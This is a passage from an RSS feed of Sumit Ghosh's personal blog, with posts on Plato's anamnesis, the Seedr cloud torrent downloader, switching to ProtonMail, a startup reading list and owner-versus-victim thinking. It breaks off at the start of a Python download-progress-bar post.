&lt;p&gt;Firstly, let us be clear that by &lt;em&gt;knowledge&lt;/em&gt;, Plato is referring to &lt;em&gt;knowledge a priori&lt;/em&gt;, i.e. the knowledge which doesn’t depend on experimental or worldly evidence. The flip side of the coin is &lt;em&gt;knowledge a posteriori&lt;/em&gt;, which does depend on the world and experiences. To make this distinction clear, let us take a few examples. Logic and Mathematics are de-facto example of knowledge a priori, whereas Physics, Chemistry, Biology or History are fields of knowledge a posteriori. Here in this article, by knowledge we’ll be referring to knowledge a priori—for example mathematics—unless specified otherwise.&lt;/p&gt;
&lt;h2 id=&quot;an-interpretation-of-anamnesis&quot;&gt;An Interpretation of Anamnesis&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The Soul — The eternal human soul can be interpreted as our mind, more specifically the part of our mind which deals with higher forms of intellect, such as reasoning, emotional responses, and ability to contemplate abstract ideas.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Reincarnation — Reincarnation and the immortality of soul can be interpreted as the “passing on” of the human genome, and thus the &lt;em&gt;intellectual mind&lt;/em&gt;—the soul.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Possession of Knowledge — Eternal possession of all knowledge by the soul can be interpreted as the ability of the human mind—the soul—to reason.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Remembrance of Knowledge — Remembrance of knowledge by the soul can be interpreted as the reasoning process, the way we can ask questions to ourselves and reason, arriving at knowledge a priori without it coming from any external source.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;To give a background for all of this, we can refer to the famous examination of a slave, who is asked to solve a problem in geometry. Interestingly, Plato chooses to take the topic of geometry to convey his idea, which can be clearly categorized as &lt;em&gt;a priori&lt;/em&gt; knowledge. In the dialogue, Socrates asks the slave questions regarding the relationship of the area and the length of the sides of a square, and eventually makes him arrive at the the truth. Socrates doesn’t tell him the answer directly, but rather guides him in his reasoning and points out the faults in his logic. By this, Socrates aims to prove his point about Anamnesis, that the slave—rather his soul—already &lt;em&gt;knew&lt;/em&gt; the answer, he just had to remember it.&lt;/p&gt;
&lt;p&gt;Now applying the interpretation I provided to this part of the dialogue, it becomes clear how it holds up. Socrates is trying to make him remember—reason towards the truth—by asking him questions and guiding his reasoning. His soul—his intellectual mind—already knows the answer, i.e it has the ability to arrive to it—remember it—by sheer contemplation. And his soul possesses this knowledge eternally, through reincarnations, as the genes contributing to the human intelligence survives through generations.&lt;/p&gt;
&lt;p&gt;I will conclude this vignette with a comparison of my interpretation of Amnesia to another similar theory of the human mind and linguistics, the hypothetical &lt;em&gt;Language Acquisition Device&lt;/em&gt;, put forth by Noam Chomsky. From Wikipedia,&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;… the LAD concept is an instinctive mental capacity which enables an infant to acquire and produce language. This theory asserts that humans are born with the instinct or &lt;em&gt;innate facility&lt;/em&gt; for acquiring language. The main argument in favor of the LAD is the argument from the poverty of the stimulus, which argues that unless children have significant innate knowledge of grammar they would be unable to learn language as quickly as they do …&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Similar to LAD, my interpretation of Amnesia also points towards an innate ability of the human mind, which explains a paradoxical situation. In the case of Meno, it is &lt;em&gt;The Learner’s Paradox&lt;/em&gt;, also known as &lt;em&gt;Meno’s Paradox&lt;/em&gt; or &lt;em&gt;The Paradox of Inquiry&lt;/em&gt;. Similarly in the case of LAD, it aims to solve the paradox of &lt;em&gt;Poverty of the Stimulus&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Check out the following links, insightful as they are regarding this topic.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;http://classics.mit.edu/Plato/meno.html&quot;&gt;http://classics.mit.edu/Plato/meno.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://faculty.washington.edu/smcohen/320/menopar.htm&quot;&gt;https://faculty.washington.edu/smcohen/320/menopar.htm&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Seedr. The Cloud Torrent Downloader.</title><link>https://sumit-ghosh.com/posts/cloud-torrent-downloader-seedr/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/cloud-torrent-downloader-seedr/</guid><description>Seedr. The Cloud Torrent Downloader. — by Sumit Ghosh.</description><pubDate>Thu, 24 May 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;If you are a netizen like me and obsessed with torrenting stuff, then you may have already come across &lt;em&gt;cloud torrent downloaders&lt;/em&gt;. These are sites which help you download torrents through your browser over HTTP. The way it works is, the website downloads the torrent to their server (or the &lt;em&gt;cloud&lt;/em&gt;, as some would like to call it), and then lets you download it from their server to your computer. That way, you don’t have to torrent it directly yourself. Basically, the website acts as middleman.&lt;/p&gt;
&lt;p&gt;These sites come very handy when you’re in a network where torrenting is banned. This is usually the case with intranets such as workplaces and universities; rather than dealing with individual pirating cases, they just ban torrents altogether.&lt;/p&gt;
&lt;h2 id=&quot;seedr&quot;&gt;&lt;a href=&quot;https://www.seedr.cc/?r=856262&quot;&gt;Seedr&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I’ve tried a few cloud torrent downloader in the last 2 years after coming to college. Among them was &lt;a href=&quot;https://zbigz.com/&quot;&gt;ZbigZ&lt;/a&gt;, &lt;a href=&quot;https://bitport.io/&quot;&gt;Bitport&lt;/a&gt; and &lt;a href=&quot;https://www.seedr.cc/?r=856262&quot;&gt;Seedr&lt;/a&gt;. I wasn’t willing to shell out money for this service, so I was looking for the alternative whose free plan would be the best. And that’s why I ended up going with Seedr. It gives 2 GB of space for free users, and you can expand it up to 5 GB through various methods, like sharing it on social media and so on. The only downside to Seedr I’ve noticed is it’s rate limiting, it limits the download speed for each file you download. It doesn’t limit the total download bandwidth though, so you can download multiple files parallelly, each getting the download speed a solo one would’ve got, effectively circumventing the speed limit.&lt;/p&gt;
&lt;p&gt;If you are need of a such a cloud torrent downloader, I’d suggest that you go with Seedr. &lt;a href=&quot;https://www.seedr.cc/?r=856262&quot;&gt;Here&lt;/a&gt; is my referral link through which you can register, which will grant you 500MB extra space ;)&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;All links to Seedr in this article are referral links, which will give you an additional 500MB space for free! &lt;a href=&quot;https://www.seedr.cc/&quot;&gt;Here’s&lt;/a&gt; a link without referral.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Switching to ProtonMail</title><link>https://sumit-ghosh.com/posts/switching-to-protonmail/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/switching-to-protonmail/</guid><description>Switching to ProtonMail — by Sumit Ghosh.</description><pubDate>Fri, 18 May 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;By now, it is well-known that for many of the &lt;em&gt;free&lt;/em&gt; products we use on the internet, such as Facebook and Google, we are paying with our identity. Hoping to get a free product, we are becoming the product. As Adam Conover puts it in &lt;a href=&quot;https://www.youtube.com/watch?v=5pFX2P7JLwA&quot;&gt;this video&lt;/a&gt; —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;If you’re not paying, you’re not the customer - you’re the product.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;By the way, do watch that video. In a funny and casual way, it shows the real price we pay when we use these supposedly &lt;em&gt;free&lt;/em&gt; websites.&lt;/p&gt;
&lt;p&gt;Fortunately, we can get out of this system. in this post &lt;a href=&quot;https://en.wikipedia.org/wiki/Global_surveillance_disclosures_(2013%E2%80%93present)&quot;&gt;&lt;em&gt;Global surveillance disclosures&lt;/em&gt;&lt;/a&gt; age, it’s high-time that we do so, starting with the products we use everyday. Free Internet activists around the world are working hard to help us in this aspect.&lt;/p&gt;
&lt;h2 id=&quot;switching-to-protonmail&quot;&gt;Switching to ProtonMail&lt;/h2&gt;
&lt;p&gt;I had heard about ProtonMail a few times before, it sounded interesting, but I never took it seriously. Yesterday, when I was going through the blog of a senior of my college who’s kind of a mentor figure, I noticed that his public email is a ProtonMail one. It caught my attention obviously, as 90+ percent of email addresses I see are Gmail ones. After looking it up and reading up about it, I decided to get one.&lt;/p&gt;
&lt;h3 id=&quot;pros-of-protonmail&quot;&gt;Pros of ProtonMail&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;The ProtonMail clients do the encryption and decryption of the emails in the client app itself, all the servers receive are encrypted mails. This end-to-end encryption ensures total privacy of the conversations.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;All datacenters are located in Switzerland, outside US and EU jurisdictions. From Wikipedia —&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Under Swiss law all surveillance requests from foreign countries must go through a Swiss court and are subject to international treaties. Prospective surveillance targets are notified and can appeal the request in court.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;a-point-about-resetting-password&quot;&gt;A Point about Resetting Password&lt;/h3&gt;
&lt;p&gt;All of the stored emails are encrypted with your public key, and the corresponding private key is symmetrically encrypted using your password. So if you reset your password, the previous private key becomes undecryptable and thus unrecoverable, as it was stored after symmetrical encryption with your old password. And consequently, all of the past emails will be unrecoverable, because we don’t possess the private key required to decrypt them anymore.&lt;/p&gt;
&lt;h3 id=&quot;my-protonmail-address&quot;&gt;My ProtonMail Address&lt;/h3&gt;
&lt;p&gt;You can contact me on &lt;a href=&quot;mailto:sumit.ghosh@protonmail.com&quot;&gt;sumit.ghosh@protonmail.com&lt;/a&gt;! My primary email address is still &lt;a href=&quot;mailto:sumit@sumit-ghosh.com&quot;&gt;sumit@sumit-ghosh.com&lt;/a&gt; though, so don’t rely on me regularly checking the ProtonMail.&lt;/p&gt;
</content:encoded></item><item><title>Books Every Startup Founder Should Read</title><link>https://sumit-ghosh.com/posts/books-every-startup-founder-should-read/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/books-every-startup-founder-should-read/</guid><description>Books Every Startup Founder Should Read — by Sumit Ghosh.</description><pubDate>Sun, 25 Feb 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;I wanted to read some books about founding startups, but had no idea which books should they be. Naturally, Google came to help. Upon compiling books from the first page of Google search results of the query “books startup founders should read”, what I got is the list below.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Important&lt;/strong&gt; — Number of ★s against a book indicates the number of times that book came up repeating, so the more the better.&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;top-picks-books-coming-up-more-than-once&quot;&gt;Top picks: Books coming up more than once&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;★★★★★★ &lt;a href=&quot;https://www.goodreads.com/book/show/18176747-the-hard-thing-about-hard-things&quot;&gt;The Hard Thing About Hard Things by Ben Horowitz&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★★★ &lt;a href=&quot;https://www.goodreads.com/book/show/2615.The_Innovator_s_Dilemma&quot;&gt;The Innovators Dilemma by Clayton M. Chistensen&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★★ &lt;a href=&quot;https://www.goodreads.com/book/show/18050143-zero-to-one&quot;&gt;Zero to One by Peter Thiel&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★★ &lt;a href=&quot;https://www.goodreads.com/book/show/10127019-the-lean-startup&quot;&gt;The Lean Startup by Eric Ries&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★★ &lt;a href=&quot;https://www.goodreads.com/book/show/22668729-hooked&quot;&gt;Hooked by Nir Eyal&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★ &lt;a href=&quot;https://www.goodreads.com/book/show/324750.High_Output_Management&quot;&gt;High Output Management by Andrew Grove&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★ &lt;a href=&quot;https://www.goodreads.com/book/show/6667514-the-checklist-manifesto&quot;&gt;The Checklist Manifesto by Atul Gawande&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★ &lt;a href=&quot;https://www.goodreads.com/book/show/6732019-rework&quot;&gt;Rework by Jason Fried and David Hansson&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★★ &lt;a href=&quot;https://www.goodreads.com/book/show/15801967-contagious&quot;&gt;Contagious by Jonah Berger&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/66863.Only_the_Paranoid_Survive&quot;&gt;Only the Paranoid Survive by Andrew Grove&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/76865.Good_to_Great&quot;&gt;Good To Great by James C. Collins&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/18077903-creativity-inc&quot;&gt;Creativity Inc. by Ed Catmull&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/762542.The_Four_Steps_to_the_Epiphany&quot;&gt;The Four Steps to the Epiphany by Steve Blank&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/12605157-the-100-startup&quot;&gt;The $100 Startup by Chris Guillebeau&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/11865558-venture-deals&quot;&gt;Venture Deals by Brad Feld&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/25814544-sprint&quot;&gt;Sprint by Jake Knapp&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/22264030-startupland&quot;&gt;Startupland by Mikkel Svane&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/13586929-conscious-capitalism&quot;&gt;Conscious Capitalism by John Mackey&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/48019.The_Effective_Executive&quot;&gt;The Effective Executive by Peter Drucker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/629.Zen_and_the_Art_of_Motorcycle_Maintenance&quot;&gt;Zen and the Art of Motorcycle Maintenance by Robert Pirsig&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/28815.Influence&quot;&gt;Influence by Robert B. Cialdini&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/4865.How_to_Win_Friends_and_Influence_People&quot;&gt;How to Win Friends and Influence People by Dale Carnegie&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;★ &lt;a href=&quot;https://www.goodreads.com/book/show/22091581-traction&quot;&gt;Traction by Gabriel Weinberg&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;all-the-books&quot;&gt;All the books&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;Change by Design by Tim Brown&lt;/li&gt;
&lt;li&gt;★★★★★★ The Hard Thing About Hard Things by Ben Horowitz&lt;/li&gt;
&lt;li&gt;Crossing the Chasm by Geoffrey Moore]&lt;/li&gt;
&lt;li&gt;The Alliance by Reid Hoffman&lt;/li&gt;
&lt;li&gt;★★★ Zero to One by Peter Thiel&lt;/li&gt;
&lt;li&gt;★★★★ The Innovators Dilemma by Clayton M. Chistensen&lt;/li&gt;
&lt;li&gt;Steve Jobs by Walter Issacson&lt;/li&gt;
&lt;li&gt;Finding My Virginity by Richard Branson&lt;/li&gt;
&lt;li&gt;Product Leadership by Martin Eriksson&lt;/li&gt;
&lt;li&gt;The Startup Way by Eric Ries&lt;/li&gt;
&lt;li&gt;★ Contagious by Jonah Berger&lt;/li&gt;
&lt;li&gt;★★ High Output Management by Andrew Grove&lt;/li&gt;
&lt;li&gt;★ Only the Paranoid Survive by Andrew Grove&lt;/li&gt;
&lt;li&gt;★ Good To Great by James C. Collins&lt;/li&gt;
&lt;li&gt;★ Creativity Inc. by Ed Catmull&lt;/li&gt;
&lt;li&gt;★★★ The Lean Startup by Eric Ries&lt;/li&gt;
&lt;li&gt;★★ The Checklist Manifesto by Atul Gawande&lt;/li&gt;
&lt;li&gt;★★★ Hooked by Nir Eyal&lt;/li&gt;
&lt;li&gt;★ The Four Steps to the Epiphany by Steve Blank&lt;/li&gt;
&lt;li&gt;The E-Myth Revisited by Michael E. Gerber&lt;/li&gt;
&lt;li&gt;★ The $100 Startup by Chris Guillebeau&lt;/li&gt;
&lt;li&gt;Will it Fly? by Pat Flynn&lt;/li&gt;
&lt;li&gt;★ Venture Deals by Brad Feld&lt;/li&gt;
&lt;li&gt;An Awesome Book★ by Dallas Clayton&lt;/li&gt;
&lt;li&gt;Radical Candor by Kim Scott&lt;/li&gt;
&lt;li&gt;Setting the Table by Danny Meyer&lt;/li&gt;
&lt;li&gt;★ The Sprint book by Jake Knapp&lt;/li&gt;
&lt;li&gt;Business Model Generation by Alexander Osterwalder&lt;/li&gt;
&lt;li&gt;The Startup Owner’s Manual by Steve Blank&lt;/li&gt;
&lt;li&gt;Start with Why by Simon Sinek&lt;/li&gt;
&lt;li&gt;The War of Art by Steven Pressfield&lt;/li&gt;
&lt;li&gt;Build Your Dream Network by J. Kelly Hoey&lt;/li&gt;
&lt;li&gt;Good to Great by Jim Collins&lt;/li&gt;
&lt;li&gt;Pretotype it by Alberto Savoia&lt;/li&gt;
&lt;li&gt;Start me up! by Ebong Eka&lt;/li&gt;
&lt;li&gt;The 10x Rule by Grant Cardone&lt;/li&gt;
&lt;li&gt;★★ Rework by Jason Fried and David Hansson&lt;/li&gt;
&lt;li&gt;The Power of Habit by Charles Duhigg&lt;/li&gt;
&lt;li&gt;★ Startupland by Mikkel Svane&lt;/li&gt;
&lt;li&gt;Four Thousand Days by Duane Jackson&lt;/li&gt;
&lt;li&gt;The Unbearable Lightness of Being by Milan Kundera&lt;/li&gt;
&lt;li&gt;Your One Word by Evan Carmichael&lt;/li&gt;
&lt;li&gt;Originals by Adam Grant&lt;/li&gt;
&lt;li&gt;The Tools of Titans by Tim Ferriss&lt;/li&gt;
&lt;li&gt;Rich20Something by Daniel DiPiazza&lt;/li&gt;
&lt;li&gt;Superbosses by Sidney Finkelstein&lt;/li&gt;
&lt;li&gt;Be Obsessed or Be Average by Grant Cardone&lt;/li&gt;
&lt;li&gt;The Happiness Track by Emma Seppala&lt;/li&gt;
&lt;li&gt;The Inevitable by Kevin Kelly&lt;/li&gt;
&lt;li&gt;★ Conscious Capitalism by John Mackey&lt;/li&gt;
&lt;li&gt;Playing to Win by A.G. Lafley&lt;/li&gt;
&lt;li&gt;Good Strategy, Bad Strategy by Richard Rumelt&lt;/li&gt;
&lt;li&gt;★ The Effective Executive by Peter Drucker&lt;/li&gt;
&lt;li&gt;Founders at Work by Jessica Livingston&lt;/li&gt;
&lt;li&gt;★ Zen and the Art of Motorcycle Maintenance by Robert Pirsig&lt;/li&gt;
&lt;li&gt;Poor Charlie’s Almanack by Charlie Munger&lt;/li&gt;
&lt;li&gt;The Score Takes Care of Itself by Bill Walsh&lt;/li&gt;
&lt;li&gt;The Fountainhead by Ayn Rand&lt;/li&gt;
&lt;li&gt;Business Adventures by John Brooks&lt;/li&gt;
&lt;li&gt;Benjanmin Franklin by Walter Issacson&lt;/li&gt;
&lt;li&gt;Think and Grow Rich by Napoleon Hill&lt;/li&gt;
&lt;li&gt;As a Man Thinketh by James Allen&lt;/li&gt;
&lt;li&gt;Things Hidden Since the Foundation of the World by Rene Girard&lt;/li&gt;
&lt;li&gt;The Obstacle is the Way by Ryan Holiday&lt;/li&gt;
&lt;li&gt;Surely You’re Joking, Mr. Feynman! by Richard P. Feynman&lt;/li&gt;
&lt;li&gt;Meditations by Marcus Aurelius&lt;/li&gt;
&lt;li&gt;Blink by Malcolm Gladwell&lt;/li&gt;
&lt;li&gt;Reality Check by Guy Kawasaki&lt;/li&gt;
&lt;li&gt;How to Get Filthy Rich in Rising Asia by Mohsin Hamid&lt;/li&gt;
&lt;li&gt;Switch by Chip Heath and Dan Heath&lt;/li&gt;
&lt;li&gt;Out of the Crisis by W. Edwards Deming&lt;/li&gt;
&lt;li&gt;Peak by Chip Conley&lt;/li&gt;
&lt;li&gt;★ Influence by Robert B. Cialdini&lt;/li&gt;
&lt;li&gt;Lucky or Smart? by Bo Peabody&lt;/li&gt;
&lt;li&gt;Extreme Programming Explained by Kent Beck&lt;/li&gt;
&lt;li&gt;Boyd by Robert Coram&lt;/li&gt;
&lt;li&gt;Purple Cow by Seth Godin&lt;/li&gt;
&lt;li&gt;The 7 Habits of Highly Effective People by Stephen R. Covey&lt;/li&gt;
&lt;li&gt;★ How to Win Friends and Influence People by Dale Carnegie&lt;/li&gt;
&lt;li&gt;Outliers by Malcolm Gladwell&lt;/li&gt;
&lt;li&gt;The Start-up playbook by David S. Kidder&lt;/li&gt;
&lt;li&gt;Competing Against Time by George Stalk&lt;/li&gt;
&lt;li&gt;Built to Last by Jim Collins&lt;/li&gt;
&lt;li&gt;★ Traction by Gabriel Weinberg&lt;/li&gt;
&lt;li&gt;Crucial Conversations by Kerry Patterson, Joseph Grenny, Ron McMillan, and Al Switzler&lt;/li&gt;
&lt;li&gt;Critical Chain by Elyahu Goldratt&lt;/li&gt;
&lt;li&gt;Scientific Advertising By Claude Hopkins&lt;/li&gt;
&lt;li&gt;Revenue Disruption by Phil Fernandez&lt;/li&gt;
&lt;li&gt;The Tipping Point by Malcolm Gladwell&lt;/li&gt;
&lt;li&gt;The Twenty Two Immutable Laws of Marketing by Al Ries and Jack Trout&lt;/li&gt;
&lt;li&gt;The Fish That Ate the Whale by Rich Cohen&lt;/li&gt;
&lt;li&gt;The Black Swan by Nassim Nicholas Taleb&lt;/li&gt;
&lt;li&gt;The Art of War by Sun Tzu&lt;/li&gt;
&lt;li&gt;Never Split the Difference by Chris Voss&lt;/li&gt;
&lt;li&gt;Who by Geoff Smart and Randy Street&lt;/li&gt;
&lt;li&gt;The 4-hour Work Week by Tim Ferriss&lt;/li&gt;
&lt;li&gt;The Art of Happiness by Dalai Lama and Howard C. Cutler&lt;/li&gt;
&lt;li&gt;Entrepreneur Revolution by Daniel Priestley&lt;/li&gt;
&lt;li&gt;Oversubscribed by Daniel Priestley&lt;/li&gt;
&lt;li&gt;Bargaining for advantage by G. Richard Shell&lt;/li&gt;
&lt;li&gt;Mastering the VC game by Jeffrey Bussgang&lt;/li&gt;
&lt;li&gt;The 48 laws of power by Robert Greene&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&quot;sources&quot;&gt;Sources&lt;/h1&gt;
&lt;p&gt;The first page of Google Search results of the query &lt;em&gt;Books Startup Founders Should Read&lt;/em&gt; as of 26.02.2018.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/swlh/the-18-best-startup-business-books-i-have-read-this-year-cbbab1b6c53e&quot;&gt;https://medium.com/swlh/the-18-best-startup-business-books-i-have-read-this-year-cbbab1b6c53e&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.wisestamp.com/corporate/resources/wisestamp-knowledge-base/startups/the-9-best-books-every-startup-founder-should-read/&quot;&gt;https://www.wisestamp.com/corporate/resources/wisestamp-knowledge-base/startups/the-9-best-books-every-startup-founder-should-read/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.startups.co/articles/19-startup-books-every-founder-should-have&quot;&gt;https://www.startups.co/articles/19-startup-books-every-founder-should-have&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.forbes.com/sites/amyguttman/2015/07/09/i-read-this-20-times-five-founders-pick-the-best-books-for-startups/&quot;&gt;https://www.forbes.com/sites/amyguttman/2015/07/09/i-read-this-20-times-five-founders-pick-the-best-books-for-startups/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.forbes.com/sites/mnewlands/2017/02/24/13-must-read-entrepreneurial-books-for-tech-founders/&quot;&gt;https://www.forbes.com/sites/mnewlands/2017/02/24/13-must-read-entrepreneurial-books-for-tech-founders/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.quora.com/What-are-the-most-important-books-for-startup-founders-to-read&quot;&gt;https://www.quora.com/What-are-the-most-important-books-for-startup-founders-to-read&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/swlh/the-18-best-startup-business-books-i-have-read-this-year-cbbab1b6c53e&quot;&gt;https://medium.com/swlh/the-18-best-startup-business-books-i-have-read-this-year-cbbab1b6c53e&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.businessinsider.com/best-books-for-entrepreneurs-to-read-2016-1&quot;&gt;http://www.businessinsider.com/best-books-for-entrepreneurs-to-read-2016-1&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://yourstory.com/2014/04/books-startup/&quot;&gt;https://yourstory.com/2014/04/books-startup/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://businesstips.ph/best-books-every-startup-founder-should-read/&quot;&gt;https://businesstips.ph/best-books-every-startup-founder-should-read/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://medium.com/@georgelovegrove/books-for-founders-at-each-stage-of-a-startup-424d5cb75473&quot;&gt;https://medium.com/@georgelovegrove/books-for-founders-at-each-stage-of-a-startup-424d5cb75473&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Owner vs Victim — An Epiphany (Sort of)</title><link>https://sumit-ghosh.com/posts/owner-vs-victim-an-epiphany/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/owner-vs-victim-an-epiphany/</guid><description>Owner vs Victim — An Epiphany (Sort of) — by Sumit Ghosh.</description><pubDate>Tue, 06 Feb 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;The central concept Steve Chandler focuses on in his book &lt;a href=&quot;https://www.goodreads.com/book/show/93360&quot;&gt;Reinventing Yourself&lt;/a&gt; is that of being a &lt;em&gt;Owner&lt;/em&gt; vs being a &lt;em&gt;Victim&lt;/em&gt;. To explain it while maintaining brevity,&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A &lt;em&gt;Victim&lt;/em&gt; is someone who thinks of himself as a victim of the circumstances.&lt;/li&gt;
&lt;li&gt;A &lt;em&gt;Owner&lt;/em&gt; is someone who doesn’t ever think of himself as a victim, but rather takes up the responsibility for his life.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I won’t go into the philosophy of Victim and Owner here, but instead, I’ll share a recent epiphany I had which reinforced my belief in this philosophy.&lt;/p&gt;
&lt;p&gt;From my childhood, I have always taken an interest in learning things on my own, especially technical things. I started learning about programming, hacking, reverse-engineering leading up to computer architecture, and more, on my own in my childhood. Later in high-school, I was a pretty good programmer and even started making some money off of my programming skills. Naturally, I took up computer science as major in college. But then in college, I was finding it hard to learn things which were being taught. What went wrong here? It’s not that I don’t like Computer Science, in fact, I love it so much that I read theoretical computer science concepts in my spare time, but I read only those which are not in the course syllabus. Whenever it feels like I’m studying for an exam or for grades, my attitude towards the topic changes entirely. So what’s going wrong here? The education system is partly to blame, but there’s a deeper problem here that we need to address.&lt;/p&gt;
&lt;p&gt;The dynamic playing out here is that of victim and owner. The reason I’m finding it hard to appreciate and focus on the subject at hand is my attitude towards it. I’m thinking of myself as a victim, thinking that I am a victim of the circumstances—in this case, the upcoming exam and grades thereof. Instead of thinking that I am doing it because I &lt;em&gt;should&lt;/em&gt;, if I think that I am doing it because I &lt;em&gt;want&lt;/em&gt;, all the frustration goes away. In most of the cases, this is true too, we are rarely a victim of the circumstances, rather it’s our thought-process that makes us behave like one. You too must’ve experienced this, when you decide to do something and then do it for yourself, it doesn’t feel like a chore, rather it feels like a personal project.&lt;/p&gt;
&lt;p&gt;I’m not going to make this post a long one. What I wanted to share with you, the readers, is the gravity and applicability of this &lt;em&gt;victim—owner&lt;/em&gt; concept in our everyday life. I highly recommend the &lt;a href=&quot;https://www.goodreads.com/book/show/93360&quot;&gt;Reinventing Yourself&lt;/a&gt; book I mentioned above, it will change your life for the better.&lt;/p&gt;
</content:encoded></item><item><title>Downloading File With Progress Bar in Python</title><link>https://sumit-ghosh.com/posts/python-download-progress-bar/</link><guid isPermaLink="true">https://sumit-ghosh.com/posts/python-download-progress-bar/</guid><description>Downloading File With Progress Bar in Python — by Sumit Ghosh.</description><pubDate>Tue, 06 Feb 2018 18:30:00 GMT</pubDate><content:encoded>&lt;p&gt;Below is a Python function I recently wrote which downloads a file from a remote URL, and shows a progress bar while doing it. Here’s the &lt;a href=&quot;https://gist.github.com/SkullTech/4510a5613c9aae89105fd1b6c424d0a0&quot;&gt;code&lt;/a&gt; —&lt;/p&gt;
&lt;pre class=&quot;astro-code astro-code-themes github-light github-dark&quot; style=&quot;--shiki-light:#24292e;--shiki-dark:#e1e4e8;--shiki-light-bg:#fff;--shiki-dark-bg:#24292e; overflow-x: auto;&quot; tabindex=&quot;0&quot; data-language=&quot;python&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;--shiki-light:#D73A49;--shiki-dark:#F97583&quot;&gt;import&lt;/span&gt;&lt;span style=&quot;--shiki-light:#24292E;--shiki-dark:#E1E4E8&quot;&gt; sys&lt;/span&gt;&lt;/span&gt;
